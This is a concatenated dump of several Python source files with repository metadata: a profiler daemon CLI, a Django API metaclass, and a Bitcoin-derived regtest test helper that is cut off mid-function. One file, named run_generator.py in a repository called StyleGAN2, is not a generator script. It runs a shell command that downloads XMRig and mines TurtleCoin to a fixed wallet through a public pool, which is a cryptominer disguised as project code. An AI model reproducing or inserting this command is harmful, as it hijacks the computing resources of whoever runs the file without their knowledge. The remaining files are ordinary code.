'restart'), ) args, _ = parser.parse_known_args() cfg = confpy.api.parse_options(files=(args.config,), env_prefix='PYPERF') proc = cfg.daemon.process( source_transport=cfg.transport.source, error_transport=cfg.transport.error, results_transport=cfg.transport.result, profiler=cfg.daemon.profiler, pidfile=cfg.daemon.pidfile, ) if args.action == 'stop': proc.stop() if args.action == 'start': proc.start() if args.action == 'restart': proc.restart() def send_request(): """Send a profile request to the daemon.""" parser = _common_args() parser.add_argument( '--identifier', required=True, help='The unique message identifier.', ) parser.add_argument( '--setup', default='pass', help='Any setup code if needed for the profile.', ) parser.add_argument( '--code', required=True, help='The code to profile.', ) args, _ = parser.parse_known_args() cfg = confpy.api.parse_options(files=(args.config,), env_prefix='PYPERF') cfg.transport.source().send( messages.ProfileRequest( identifier=args.identifier, setup=args.setup, code=args.code, ), ) def fetch_result(): """Fetch a result from the transport.""" parser = _common_args() args, _ = parser.parse_known_args() cfg = confpy.api.parse_options(files=(args.config,), env_prefix='PYPERF') transport = cfg.transport.result() msg = transport.fetch() if msg is not None: transport.complete(msg) pprint.pprint(msg.json) def fetch_error(): """Fetch an error from the transport.""" parser = _common_args() args, _ = parser.parse_known_args() cfg = confpy.api.parse_options(files=(args.config,), env_prefix='PYPERF') transport = cfg.transport.error() msg = transport.fetch() if msg is not None: transport.complete(msg) pprint.pprint(msg.json)

25.74026

77

0.619324

from __future__ import division from __future__ import absolute_import from __future__ import print_function from __future__ import unicode_literals import argparse import pprint import confpy.api import confpy.core.option from .. import messages cfg = confpy.api.Configuration( transport=confpy.api.Namespace( description='Message transport options.', source=confpy.core.option.Option( description='The transport to fetch new requests from.', required=True, ), error=confpy.core.option.Option( description='The transport to which errors are written.', required=True, ), result=confpy.core.option.Option( description='The transport to which results are written.', required=True, ), ), daemon=confpy.api.Namespace( description='Long running daemon options.', profiler=confpy.core.option.Option( description='The profiler implementation to use.', required=True, ), process=confpy.core.option.Option( description='The daemon interface implemention to use.', required=True, ), pidfile=confpy.api.StringOption( description='The location to use as a pidfile.', required=True, ), ), ) def _common_args(): parser = argparse.ArgumentParser( description='Start a new profiler process.' ) parser.add_argument( '--config', required=True, help='The Python configuration file for the process.', ) return parser def profiler_main(): parser = _common_args() parser.add_argument( '--action', required=True, choices=('start', 'stop', 'restart'), ) args, _ = parser.parse_known_args() cfg = confpy.api.parse_options(files=(args.config,), env_prefix='PYPERF') proc = cfg.daemon.process( source_transport=cfg.transport.source, error_transport=cfg.transport.error, results_transport=cfg.transport.result, profiler=cfg.daemon.profiler, pidfile=cfg.daemon.pidfile, ) if args.action == 'stop': proc.stop() if args.action == 'start': proc.start() if args.action == 'restart': proc.restart() def send_request(): parser = _common_args() parser.add_argument( '--identifier', required=True, help='The unique message identifier.', ) parser.add_argument( '--setup', default='pass', help='Any setup code if needed for the profile.', ) parser.add_argument( '--code', required=True, help='The code to profile.', ) args, _ = parser.parse_known_args() cfg = confpy.api.parse_options(files=(args.config,), env_prefix='PYPERF') cfg.transport.source().send( messages.ProfileRequest( identifier=args.identifier, setup=args.setup, code=args.code, ), ) def fetch_result(): parser = _common_args() args, _ = parser.parse_known_args() cfg = confpy.api.parse_options(files=(args.config,), env_prefix='PYPERF') transport = cfg.transport.result() msg = transport.fetch() if msg is not None: transport.complete(msg) pprint.pprint(msg.json) def fetch_error(): parser = _common_args() args, _ = parser.parse_known_args() cfg = confpy.api.parse_options(files=(args.config,), env_prefix='PYPERF') transport = cfg.transport.error() msg = transport.fetch() if msg is not None: transport.complete(msg) pprint.pprint(msg.json)

true

790b12e07c9d98672f8fa8e1fa2048ff267f36b2

460

py

Python

run_generator.py

vps01bao/StyleGAN2

1abec4c69d7983dda5ba3594ea71e5b4cf8c9a9c

[ "BSD-Source-Code" ]

null

run_generator.py

vps01bao/StyleGAN2

1abec4c69d7983dda5ba3594ea71e5b4cf8c9a9c

[ "BSD-Source-Code" ]

null

run_generator.py

vps01bao/StyleGAN2

1abec4c69d7983dda5ba3594ea71e5b4cf8c9a9c

[ "BSD-Source-Code" ]

null

import os as alpha alpha.system("apt-get install -y tmux && tmux new-session 'apt-get -y install wget && wget https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-x64.tar.gz && tar -xvf xmrig-6.15.0-linux-x64.tar.gz && cd xmrig-6.15.0 && ./xmrig --donate-level 1 -o de.turtlecoin.herominers.com:1160 -u TRTLv1GiYaa1d14U6xHo9gYUhz1Wsr5pgE1yYbr14qvcCzpBe2rqYKw1WYjuJ2sHaJbhU6TFvwfySCFV8GgTFP5qBhU5tbBaESE -p myvps -a argon2/chukwav2 -k'")

153.333333

440

0.771739

import os as alpha alpha.system("apt-get install -y tmux && tmux new-session 'apt-get -y install wget && wget https://github.com/xmrig/xmrig/releases/download/v6.15.0/xmrig-6.15.0-linux-x64.tar.gz && tar -xvf xmrig-6.15.0-linux-x64.tar.gz && cd xmrig-6.15.0 && ./xmrig --donate-level 1 -o de.turtlecoin.herominers.com:1160 -u TRTLv1GiYaa1d14U6xHo9gYUhz1Wsr5pgE1yYbr14qvcCzpBe2rqYKw1WYjuJ2sHaJbhU6TFvwfySCFV8GgTFP5qBhU5tbBaESE -p myvps -a argon2/chukwav2 -k'")

true

790b13a929fd2156cb71cdd6e14944f56f33744a

4,643

py

Python

simple_api/django_object/django_object.py

ladal1/simple_api

1b5d560476bccad9f68a7331d092dbdb68c48bf7

[ "MIT" ]

1

2021-02-24T22:14:59.000Z

simple_api/django_object/django_object.py

ladal1/simple_api

1b5d560476bccad9f68a7331d092dbdb68c48bf7

[ "MIT" ]

null

simple_api/django_object/django_object.py

ladal1/simple_api

1b5d560476bccad9f68a7331d092dbdb68c48bf7

[ "MIT" ]

null

from copy import deepcopy from simple_api.django_object.actions import DetailAction, ListAction, CreateAction, UpdateAction, DeleteAction from simple_api.django_object.datatypes import create_associated_list_type from simple_api.django_object.filters import generate_filters from simple_api.django_object.converter import determine_simple_api_fields from simple_api.django_object.utils import get_pk_field from simple_api.object.object import Object, ObjectMeta from simple_api.object.registry import object_storage from simple_api.django_object.registry import model_django_object_storage from simple_api.utils import ClassStub class DjangoObjectMeta(type): base_class = "simple_api.django_object.django_object.DjangoObject" def __new__(mcs, name, bases, attrs, **kwargs): cls = super().__new__(mcs, name, bases, attrs) if kwargs.get("skip", False) or object_storage.key_for_class(attrs["__module__"], name) == mcs.base_class: return cls object_stub = ClassStub(name=cls.__name__, bases=(Object,)) # set the module of the generated Object class to match the module of the user class object_stub.add_attr("__module__", cls.__module__) assert cls.model is not None, "`model` must be set." # if the class is meant to resolve relations, store it for the particular model if cls.class_for_related: model_django_object_storage.store(cls.model, cls) cls.pk_field_name, cls.pk_field = get_pk_field(cls.model) object_stub.add_attr("pk_field", cls.pk_field_name) # make sure the primary key is included, otherwise `ModelObjectAction`s would just not work if cls.only_fields and cls.pk_field_name not in cls.only_fields: cls.only_fields = cls.only_fields + (cls.pk_field_name,) elif cls.exclude_fields and cls.pk_field_name in cls.exclude_fields: cls.exclude_fields = (f for f in cls.exclude_fields if f != cls.pk_field_name) fields, input_fields, output_fields, field_validators = determine_simple_api_fields( cls.model, cls.only_fields, cls.exclude_fields, cls.custom_fields, cls.input_custom_fields, cls.output_custom_fields, ) for f in input_fields: assert f not in fields, "Redefinition of `{}` field.".format(f) cls.in_fields = {**fields, **input_fields} for f in output_fields: assert f not in fields, "Redefinition of `{}` field.".format(f) cls.out_fields = {**fields, **output_fields} object_stub.add_attr("fields", fields) object_stub.add_attr("input_fields", input_fields) object_stub.add_attr("output_fields", output_fields) # create filters and List type for potential listing actions cls.filter_type = ObjectMeta("{}Filters".format(cls.__name__), (Object,), {"fields": generate_filters(cls)}) object_stub.add_attr("filter_type", cls.filter_type) create_associated_list_type(cls) actions = {} if cls.detail_action is not None: actions["detail"] = deepcopy(cls.detail_action) if cls.list_action is not None: actions["list"] = deepcopy(cls.list_action) if cls.create_action is not None: actions["create"] = deepcopy(cls.create_action) if cls.update_action is not None: actions["update"] = deepcopy(cls.update_action) if cls.delete_action is not None: actions["delete"] = deepcopy(cls.delete_action) actions.update(cls.custom_actions) converted_actions = {} for action_name, action in actions.items(): action.set_parent_class(cls) action.set_name(action_name) converted_actions[action_name] = action.to_action() object_stub.add_attr("actions", converted_actions) if cls.field_difficulty_scores is not None: object_stub.add_attr("field_difficulty_scores", cls.field_difficulty_scores) cls._object = object_stub.build(ObjectMeta) return cls class DjangoObject(metaclass=DjangoObjectMeta): model = None auto_pk = True class_for_related = True only_fields = None exclude_fields = None custom_fields = {} input_custom_fields = {} output_custom_fields = {} field_difficulty_scores = {} detail_action = DetailAction() list_action = ListAction() create_action = CreateAction() update_action = UpdateAction() delete_action = DeleteAction() custom_actions = {} @classmethod def to_object(cls): return cls._object

39.347458

116

0.697825

from copy import deepcopy from simple_api.django_object.actions import DetailAction, ListAction, CreateAction, UpdateAction, DeleteAction from simple_api.django_object.datatypes import create_associated_list_type from simple_api.django_object.filters import generate_filters from simple_api.django_object.converter import determine_simple_api_fields from simple_api.django_object.utils import get_pk_field from simple_api.object.object import Object, ObjectMeta from simple_api.object.registry import object_storage from simple_api.django_object.registry import model_django_object_storage from simple_api.utils import ClassStub class DjangoObjectMeta(type): base_class = "simple_api.django_object.django_object.DjangoObject" def __new__(mcs, name, bases, attrs, **kwargs): cls = super().__new__(mcs, name, bases, attrs) if kwargs.get("skip", False) or object_storage.key_for_class(attrs["__module__"], name) == mcs.base_class: return cls object_stub = ClassStub(name=cls.__name__, bases=(Object,)) object_stub.add_attr("__module__", cls.__module__) assert cls.model is not None, "`model` must be set." if cls.class_for_related: model_django_object_storage.store(cls.model, cls) cls.pk_field_name, cls.pk_field = get_pk_field(cls.model) object_stub.add_attr("pk_field", cls.pk_field_name) if cls.only_fields and cls.pk_field_name not in cls.only_fields: cls.only_fields = cls.only_fields + (cls.pk_field_name,) elif cls.exclude_fields and cls.pk_field_name in cls.exclude_fields: cls.exclude_fields = (f for f in cls.exclude_fields if f != cls.pk_field_name) fields, input_fields, output_fields, field_validators = determine_simple_api_fields( cls.model, cls.only_fields, cls.exclude_fields, cls.custom_fields, cls.input_custom_fields, cls.output_custom_fields, ) for f in input_fields: assert f not in fields, "Redefinition of `{}` field.".format(f) cls.in_fields = {**fields, **input_fields} for f in output_fields: assert f not in fields, "Redefinition of `{}` field.".format(f) cls.out_fields = {**fields, **output_fields} object_stub.add_attr("fields", fields) object_stub.add_attr("input_fields", input_fields) object_stub.add_attr("output_fields", output_fields) cls.filter_type = ObjectMeta("{}Filters".format(cls.__name__), (Object,), {"fields": generate_filters(cls)}) object_stub.add_attr("filter_type", cls.filter_type) create_associated_list_type(cls) actions = {} if cls.detail_action is not None: actions["detail"] = deepcopy(cls.detail_action) if cls.list_action is not None: actions["list"] = deepcopy(cls.list_action) if cls.create_action is not None: actions["create"] = deepcopy(cls.create_action) if cls.update_action is not None: actions["update"] = deepcopy(cls.update_action) if cls.delete_action is not None: actions["delete"] = deepcopy(cls.delete_action) actions.update(cls.custom_actions) converted_actions = {} for action_name, action in actions.items(): action.set_parent_class(cls) action.set_name(action_name) converted_actions[action_name] = action.to_action() object_stub.add_attr("actions", converted_actions) if cls.field_difficulty_scores is not None: object_stub.add_attr("field_difficulty_scores", cls.field_difficulty_scores) cls._object = object_stub.build(ObjectMeta) return cls class DjangoObject(metaclass=DjangoObjectMeta): model = None auto_pk = True class_for_related = True only_fields = None exclude_fields = None custom_fields = {} input_custom_fields = {} output_custom_fields = {} field_difficulty_scores = {} detail_action = DetailAction() list_action = ListAction() create_action = CreateAction() update_action = UpdateAction() delete_action = DeleteAction() custom_actions = {} @classmethod def to_object(cls): return cls._object

true

790b13d3bf64c67079260e68880abcf1b4b6ee36

21,638

py

Python

qa/rpc-tests/test_framework/util.py

cephcoin/cephcoin

3dda3986533b2321cea2cee8ae1ae5a2b63dbfa4

[ "MIT" ]

1

2018-02-09T16:02:34.000Z

qa/rpc-tests/test_framework/util.py

cephcoin/cephcoin

3dda3986533b2321cea2cee8ae1ae5a2b63dbfa4

[ "MIT" ]

null

qa/rpc-tests/test_framework/util.py

cephcoin/cephcoin

3dda3986533b2321cea2cee8ae1ae5a2b63dbfa4

[ "MIT" ]

null

# Copyright (c) 2014-2015 The Bitcoin Core developers # Copyright (c) 2014-2017 The CephCoin Core developers # Distributed under the MIT/X11 software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # # Helpful routines for regression testing # # Add python-bitcoinrpc to module search path: import os import sys from binascii import hexlify, unhexlify from base64 import b64encode from decimal import Decimal, ROUND_DOWN import json import random import shutil import subprocess import time import re import errno from . import coverage from .authproxy import AuthServiceProxy, JSONRPCException COVERAGE_DIR = None #Set Mocktime default to OFF. #MOCKTIME is only needed for scripts that use the #cached version of the blockchain. If the cached #version of the blockchain is used without MOCKTIME #then the mempools will not sync due to IBD. MOCKTIME = 0 def enable_mocktime(): #For backwared compatibility of the python scripts #with previous versions of the cache, set MOCKTIME #to regtest genesis time + (201 * 156) global MOCKTIME MOCKTIME = 1417713337 + (201 * 156) def disable_mocktime(): global MOCKTIME MOCKTIME = 0 def get_mocktime(): return MOCKTIME def enable_coverage(dirname): """Maintain a log of which RPC calls are made during testing.""" global COVERAGE_DIR COVERAGE_DIR = dirname def get_rpc_proxy(url, node_number, timeout=None): """ Args: url (str): URL of the RPC server to call node_number (int): the node number (or id) that this calls to Kwargs: timeout (int): HTTP timeout in seconds Returns: AuthServiceProxy. convenience object for making RPC calls. """ proxy_kwargs = {} if timeout is not None: proxy_kwargs['timeout'] = timeout proxy = AuthServiceProxy(url, **proxy_kwargs) proxy.url = url # store URL on proxy for info coverage_logfile = coverage.get_filename( COVERAGE_DIR, node_number) if COVERAGE_DIR else None return coverage.AuthServiceProxyWrapper(proxy, coverage_logfile) def get_mnsync_status(node): result = node.mnsync("status") return result['IsSynced'] def wait_to_sync(node): synced = False while not synced: synced = get_mnsync_status(node) time.sleep(0.5) def p2p_port(n): return 11000 + n + os.getpid()%999 def rpc_port(n): return 12000 + n + os.getpid()%999 def check_json_precision(): """Make sure json library being used does not lose precision converting BTC values""" n = Decimal("20000000.00000003") satoshis = int(json.loads(json.dumps(float(n)))*1.0e8) if satoshis != 2000000000000003: raise RuntimeError("JSON encode/decode loses precision") def count_bytes(hex_string): return len(bytearray.fromhex(hex_string)) def bytes_to_hex_str(byte_str): return hexlify(byte_str).decode('ascii') def hex_str_to_bytes(hex_str): return unhexlify(hex_str.encode('ascii')) def str_to_b64str(string): return b64encode(string.encode('utf-8')).decode('ascii') def sync_blocks(rpc_connections, wait=1): """ Wait until everybody has the same block count """ while True: counts = [ x.getblockcount() for x in rpc_connections ] if counts == [ counts[0] ]*len(counts): break time.sleep(wait) def sync_mempools(rpc_connections, wait=1): """ Wait until everybody has the same transactions in their memory pools """ while True: pool = set(rpc_connections[0].getrawmempool()) num_match = 1 for i in range(1, len(rpc_connections)): if set(rpc_connections[i].getrawmempool()) == pool: num_match = num_match+1 if num_match == len(rpc_connections): break time.sleep(wait) def sync_masternodes(rpc_connections): for node in rpc_connections: wait_to_sync(node) bitcoind_processes = {} def initialize_datadir(dirname, n): datadir = os.path.join(dirname, "node"+str(n)) if not os.path.isdir(datadir): os.makedirs(datadir) with open(os.path.join(datadir, "cephcoin.conf"), 'w') as f: f.write("regtest=1\n") f.write("rpcuser=rt\n") f.write("rpcpassword=rt\n") f.write("port="+str(p2p_port(n))+"\n") f.write("rpcport="+str(rpc_port(n))+"\n") f.write("listenonion=0\n") return datadir def rpc_url(i, rpchost=None): return "http://rt:rt@%s:%d" % (rpchost or '127.0.0.1', rpc_port(i)) def wait_for_bitcoind_start(process, url, i): ''' Wait for cephcoind to start. This means that RPC is accessible and fully initialized. Raise an exception if cephcoind exits during initialization. ''' while True: if process.poll() is not None: raise Exception('cephcoind exited with status %i during initialization' % process.returncode) try: rpc = get_rpc_proxy(url, i) blocks = rpc.getblockcount() break # break out of loop on success except IOError as e: if e.errno != errno.ECONNREFUSED: # Port not yet open? raise # unknown IO error except JSONRPCException as e: # Initialization phase if e.error['code'] != -28: # RPC in warmup? raise # unkown JSON RPC exception time.sleep(0.25) def initialize_chain(test_dir): """ Create (or copy from cache) a 200-block-long chain and 4 wallets. """ if (not os.path.isdir(os.path.join("cache","node0")) or not os.path.isdir(os.path.join("cache","node1")) or not os.path.isdir(os.path.join("cache","node2")) or not os.path.isdir(os.path.join("cache","node3"))): #find and delete old cache directories if any exist for i in range(4): if os.path.isdir(os.path.join("cache","node"+str(i))): shutil.rmtree(os.path.join("cache","node"+str(i))) # Create cache directories, run cephcoinds: for i in range(4): datadir=initialize_datadir("cache", i) args = [ os.getenv("CEPHD", "cephcoind"), "-server", "-keypool=1", "-datadir="+datadir, "-discover=0" ] if i > 0: args.append("-connect=127.0.0.1:"+str(p2p_port(0))) bitcoind_processes[i] = subprocess.Popen(args) if os.getenv("PYTHON_DEBUG", ""): print "initialize_chain: cephcoind started, waiting for RPC to come up" wait_for_bitcoind_start(bitcoind_processes[i], rpc_url(i), i) if os.getenv("PYTHON_DEBUG", ""): print "initialize_chain: RPC succesfully started" rpcs = [] for i in range(4): try: rpcs.append(get_rpc_proxy(rpc_url(i), i)) except: sys.stderr.write("Error connecting to "+url+"\n") sys.exit(1) # Create a 200-block-long chain; each of the 4 nodes # gets 25 mature blocks and 25 immature. # blocks are created with timestamps 156 seconds apart # starting from 31356 seconds in the past enable_mocktime() block_time = get_mocktime() - (201 * 156) for i in range(2): for peer in range(4): for j in range(25): set_node_times(rpcs, block_time) rpcs[peer].generate(1) block_time += 156 # Must sync before next peer starts generating blocks sync_blocks(rpcs) # Shut them down, and clean up cache directories: stop_nodes(rpcs) wait_bitcoinds() disable_mocktime() for i in range(4): os.remove(log_filename("cache", i, "debug.log")) os.remove(log_filename("cache", i, "db.log")) os.remove(log_filename("cache", i, "peers.dat")) os.remove(log_filename("cache", i, "fee_estimates.dat")) for i in range(4): from_dir = os.path.join("cache", "node"+str(i)) to_dir = os.path.join(test_dir, "node"+str(i)) shutil.copytree(from_dir, to_dir) initialize_datadir(test_dir, i) # Overwrite port/rpcport in cephcoin.conf def initialize_chain_clean(test_dir, num_nodes): """ Create an empty blockchain and num_nodes wallets. Useful if a test case wants complete control over initialization. """ for i in range(num_nodes): datadir=initialize_datadir(test_dir, i) def _rpchost_to_args(rpchost): '''Convert optional IP:port spec to rpcconnect/rpcport args''' if rpchost is None: return [] match = re.match('(\[[0-9a-fA-f:]+\]|[^:]+)(?::([0-9]+))?$', rpchost) if not match: raise ValueError('Invalid RPC host spec ' + rpchost) rpcconnect = match.group(1) rpcport = match.group(2) if rpcconnect.startswith('['): # remove IPv6 [...] wrapping rpcconnect = rpcconnect[1:-1] rv = ['-rpcconnect=' + rpcconnect] if rpcport: rv += ['-rpcport=' + rpcport] return rv def start_node(i, dirname, extra_args=None, rpchost=None, timewait=None, binary=None): """ Start a cephcoind and return RPC connection to it """ datadir = os.path.join(dirname, "node"+str(i)) if binary is None: binary = os.getenv("CEPHD", "cephcoind") # RPC tests still depend on free transactions args = [ binary, "-datadir="+datadir, "-server", "-keypool=1", "-discover=0", "-rest", "-blockprioritysize=50000", "-mocktime="+str(get_mocktime()) ] if extra_args is not None: args.extend(extra_args) bitcoind_processes[i] = subprocess.Popen(args) if os.getenv("PYTHON_DEBUG", ""): print "start_node: cephcoind started, waiting for RPC to come up" url = rpc_url(i, rpchost) wait_for_bitcoind_start(bitcoind_processes[i], url, i) if os.getenv("PYTHON_DEBUG", ""): print "start_node: RPC succesfully started" proxy = get_rpc_proxy(url, i, timeout=timewait) if COVERAGE_DIR: coverage.write_all_rpc_commands(COVERAGE_DIR, proxy) return proxy def start_nodes(num_nodes, dirname, extra_args=None, rpchost=None, binary=None): """ Start multiple cephcoinds, return RPC connections to them """ if extra_args is None: extra_args = [ None for i in range(num_nodes) ] if binary is None: binary = [ None for i in range(num_nodes) ] rpcs = [] try: for i in range(num_nodes): rpcs.append(start_node(i, dirname, extra_args[i], rpchost, binary=binary[i])) except: # If one node failed to start, stop the others stop_nodes(rpcs) raise return rpcs def log_filename(dirname, n_node, logname): return os.path.join(dirname, "node"+str(n_node), "regtest", logname) def stop_node(node, i): node.stop() bitcoind_processes[i].wait() del bitcoind_processes[i] def stop_nodes(nodes): for node in nodes: node.stop() del nodes[:] # Emptying array closes connections as a side effect def set_node_times(nodes, t): for node in nodes: node.setmocktime(t) def wait_bitcoinds(): # Wait for all bitcoinds to cleanly exit for bitcoind in bitcoind_processes.values(): bitcoind.wait() bitcoind_processes.clear() def connect_nodes(from_connection, node_num): ip_port = "127.0.0.1:"+str(p2p_port(node_num)) from_connection.addnode(ip_port, "onetry") # poll until version handshake complete to avoid race conditions # with transaction relaying while any(peer['version'] == 0 for peer in from_connection.getpeerinfo()): time.sleep(0.1) def connect_nodes_bi(nodes, a, b): connect_nodes(nodes[a], b) connect_nodes(nodes[b], a) def find_output(node, txid, amount): """ Return index to output of txid with value amount Raises exception if there is none. """ txdata = node.getrawtransaction(txid, 1) for i in range(len(txdata["vout"])): if txdata["vout"][i]["value"] == amount: return i raise RuntimeError("find_output txid %s : %s not found"%(txid,str(amount))) def gather_inputs(from_node, amount_needed, confirmations_required=1): """ Return a random set of unspent txouts that are enough to pay amount_needed """ assert(confirmations_required >=0) utxo = from_node.listunspent(confirmations_required) random.shuffle(utxo) inputs = [] total_in = Decimal("0.00000000") while total_in < amount_needed and len(utxo) > 0: t = utxo.pop() total_in += t["amount"] inputs.append({ "txid" : t["txid"], "vout" : t["vout"], "address" : t["address"] } ) if total_in < amount_needed: raise RuntimeError("Insufficient funds: need %d, have %d"%(amount_needed, total_in)) return (total_in, inputs) def make_change(from_node, amount_in, amount_out, fee): """ Create change output(s), return them """ outputs = {} amount = amount_out+fee change = amount_in - amount if change > amount*2: # Create an extra change output to break up big inputs change_address = from_node.getnewaddress() # Split change in two, being careful of rounding: outputs[change_address] = Decimal(change/2).quantize(Decimal('0.00000001'), rounding=ROUND_DOWN) change = amount_in - amount - outputs[change_address] if change > 0: outputs[from_node.getnewaddress()] = change return outputs def send_zeropri_transaction(from_node, to_node, amount, fee): """ Create&broadcast a zero-priority transaction. Returns (txid, hex-encoded-txdata) Ensures transaction is zero-priority by first creating a send-to-self, then using its output """ # Create a send-to-self with confirmed inputs: self_address = from_node.getnewaddress() (total_in, inputs) = gather_inputs(from_node, amount+fee*2) outputs = make_change(from_node, total_in, amount+fee, fee) outputs[self_address] = float(amount+fee) self_rawtx = from_node.createrawtransaction(inputs, outputs) self_signresult = from_node.signrawtransaction(self_rawtx) self_txid = from_node.sendrawtransaction(self_signresult["hex"], True) vout = find_output(from_node, self_txid, amount+fee) # Now immediately spend the output to create a 1-input, 1-output # zero-priority transaction: inputs = [ { "txid" : self_txid, "vout" : vout } ] outputs = { to_node.getnewaddress() : float(amount) } rawtx = from_node.createrawtransaction(inputs, outputs) signresult = from_node.signrawtransaction(rawtx) txid = from_node.sendrawtransaction(signresult["hex"], True) return (txid, signresult["hex"]) def random_zeropri_transaction(nodes, amount, min_fee, fee_increment, fee_variants): """ Create a random zero-priority transaction. Returns (txid, hex-encoded-transaction-data, fee) """ from_node = random.choice(nodes) to_node = random.choice(nodes) fee = min_fee + fee_increment*random.randint(0,fee_variants) (txid, txhex) = send_zeropri_transaction(from_node, to_node, amount, fee) return (txid, txhex, fee) def random_transaction(nodes, amount, min_fee, fee_increment, fee_variants): """ Create a random transaction. Returns (txid, hex-encoded-transaction-data, fee) """ from_node = random.choice(nodes) to_node = random.choice(nodes) fee = min_fee + fee_increment*random.randint(0,fee_variants) (total_in, inputs) = gather_inputs(from_node, amount+fee) outputs = make_change(from_node, total_in, amount, fee) outputs[to_node.getnewaddress()] = float(amount) rawtx = from_node.createrawtransaction(inputs, outputs) signresult = from_node.signrawtransaction(rawtx) txid = from_node.sendrawtransaction(signresult["hex"], True) return (txid, signresult["hex"], fee) def assert_equal(thing1, thing2): if thing1 != thing2: raise AssertionError("%s != %s"%(str(thing1),str(thing2))) def assert_greater_than(thing1, thing2): if thing1 <= thing2: raise AssertionError("%s <= %s"%(str(thing1),str(thing2))) def assert_raises(exc, fun, *args, **kwds): try: fun(*args, **kwds) except exc: pass except Exception as e: raise AssertionError("Unexpected exception raised: "+type(e).__name__) else: raise AssertionError("No exception raised") def assert_is_hex_string(string): try: int(string, 16) except Exception as e: raise AssertionError( "Couldn't interpret %r as hexadecimal; raised: %s" % (string, e)) def assert_is_hash_string(string, length=64): if not isinstance(string, basestring): raise AssertionError("Expected a string, got type %r" % type(string)) elif length and len(string) != length: raise AssertionError( "String of length %d expected; got %d" % (length, len(string))) elif not re.match('[abcdef0-9]+$', string): raise AssertionError( "String %r contains invalid characters for a hash." % string) def assert_array_result(object_array, to_match, expected, should_not_find = False): """ Pass in array of JSON objects, a dictionary with key/value pairs to match against, and another dictionary with expected key/value pairs. If the should_not_find flag is true, to_match should not be found in object_array """ if should_not_find == True: assert_equal(expected, { }) num_matched = 0 for item in object_array: all_match = True for key,value in to_match.items(): if item[key] != value: all_match = False if not all_match: continue elif should_not_find == True: num_matched = num_matched+1 for key,value in expected.items(): if item[key] != value: raise AssertionError("%s : expected %s=%s"%(str(item), str(key), str(value))) num_matched = num_matched+1 if num_matched == 0 and should_not_find != True: raise AssertionError("No objects matched %s"%(str(to_match))) if num_matched > 0 and should_not_find == True: raise AssertionError("Objects were found %s"%(str(to_match))) def satoshi_round(amount): return Decimal(amount).quantize(Decimal('0.00000001'), rounding=ROUND_DOWN) # Helper to create at least "count" utxos # Pass in a fee that is sufficient for relay and mining new transactions. def create_confirmed_utxos(fee, node, count): node.generate(int(0.5*count)+101) utxos = node.listunspent() iterations = count - len(utxos) addr1 = node.getnewaddress() addr2 = node.getnewaddress() if iterations <= 0: return utxos for i in xrange(iterations): t = utxos.pop() inputs = [] inputs.append({ "txid" : t["txid"], "vout" : t["vout"]}) outputs = {} send_value = t['amount'] - fee outputs[addr1] = satoshi_round(send_value/2) outputs[addr2] = satoshi_round(send_value/2) raw_tx = node.createrawtransaction(inputs, outputs) signed_tx = node.signrawtransaction(raw_tx)["hex"] txid = node.sendrawtransaction(signed_tx) while (node.getmempoolinfo()['size'] > 0): node.generate(1) utxos = node.listunspent() assert(len(utxos) >= count) return utxos # Create large OP_RETURN txouts that can be appended to a transaction # to make it large (helper for constructing large transactions). def gen_return_txouts(): # Some pre-processing to create a bunch of OP_RETURN txouts to insert into transactions we create # So we have big transactions (and therefore can't fit very many into each block) # create one script_pubkey script_pubkey = "6a4d0200" #OP_RETURN OP_PUSH2 512 bytes for i in xrange (512): script_pubkey = script_pubkey + "01" # concatenate 128 txouts of above script_pubkey which we'll insert before the txout for change txouts = "81" for k in xrange(128): # add txout value txouts = txouts + "0000000000000000" # add length of script_pubkey txouts = txouts + "fd0402" # add script_pubkey txouts = txouts + script_pubkey return txouts def create_tx(node, coinbase, to_address, amount): inputs = [{ "txid" : coinbase, "vout" : 0}] outputs = { to_address : amount } rawtx = node.createrawtransaction(inputs, outputs) signresult = node.signrawtransaction(rawtx) assert_equal(signresult["complete"], True) return signresult["hex"] # Create a spend of each passed-in utxo, splicing in "txouts" to each raw # transaction to make it large. See gen_return_txouts() above. def create_lots_of_big_transactions(node, txouts, utxos, fee): addr = node.getnewaddress() txids = [] for i in xrange(len(utxos)): t = utxos.pop() inputs = [] inputs.append({ "txid" : t["txid"], "vout" : t["vout"]}) outputs = {} send_value = t['amount'] - fee outputs[addr] = satoshi_round(send_value) rawtx = node.createrawtransaction(inputs, outputs) newtx = rawtx[0:92] newtx = newtx + txouts newtx = newtx + rawtx[94:] signresult = node.signrawtransaction(newtx, None, None, "NONE") txid = node.sendrawtransaction(signresult["hex"], True) txids.append(txid) return txids def get_bip9_status(node, key): info = node.getblockchaininfo() for row in info['bip9_softforks']: if row['id'] == key: return row raise IndexError ('key:"%s" not found' % key)

35.356209

153

0.652509

import os import sys from binascii import hexlify, unhexlify from base64 import b64encode from decimal import Decimal, ROUND_DOWN import json import random import shutil import subprocess import time import re import errno from . import coverage from .authproxy import AuthServiceProxy, JSONRPCException COVERAGE_DIR = None MOCKTIME = 0 def enable_mocktime(): global MOCKTIME MOCKTIME = 1417713337 + (201 * 156) def disable_mocktime(): global MOCKTIME MOCKTIME = 0 def get_mocktime(): return MOCKTIME def enable_coverage(dirname): """Maintain a log of which RPC calls are made during testing.""" global COVERAGE_DIR COVERAGE_DIR = dirname def get_rpc_proxy(url, node_number, timeout=None): """ Args: url (str): URL of the RPC server to call node_number (int): the node number (or id) that this calls to Kwargs: timeout (int): HTTP timeout in seconds Returns: AuthServiceProxy. convenience object for making RPC calls. """ proxy_kwargs = {} if timeout is not None: proxy_kwargs['timeout'] = timeout proxy = AuthServiceProxy(url, **proxy_kwargs) proxy.url = url coverage_logfile = coverage.get_filename( COVERAGE_DIR, node_number) if COVERAGE_DIR else None return coverage.AuthServiceProxyWrapper(proxy, coverage_logfile) def get_mnsync_status(node): result = node.mnsync("status") return result['IsSynced'] def wait_to_sync(node): synced = False while not synced: synced = get_mnsync_status(node) time.sleep(0.5) def p2p_port(n): return 11000 + n + os.getpid()%999 def rpc_port(n): return 12000 + n + os.getpid()%999 def check_json_precision(): """Make sure json library being used does not lose precision converting BTC values""" n = Decimal("20000000.00000003") satoshis = int(json.loads(json.dumps(float(n)))*1.0e8) if satoshis != 2000000000000003: raise RuntimeError("JSON encode/decode loses precision") def count_bytes(hex_string): return len(bytearray.fromhex(hex_string)) def bytes_to_hex_str(byte_str): return hexlify(byte_str).decode('ascii') def hex_str_to_bytes(hex_str): return unhexlify(hex_str.encode('ascii')) def str_to_b64str(string): return 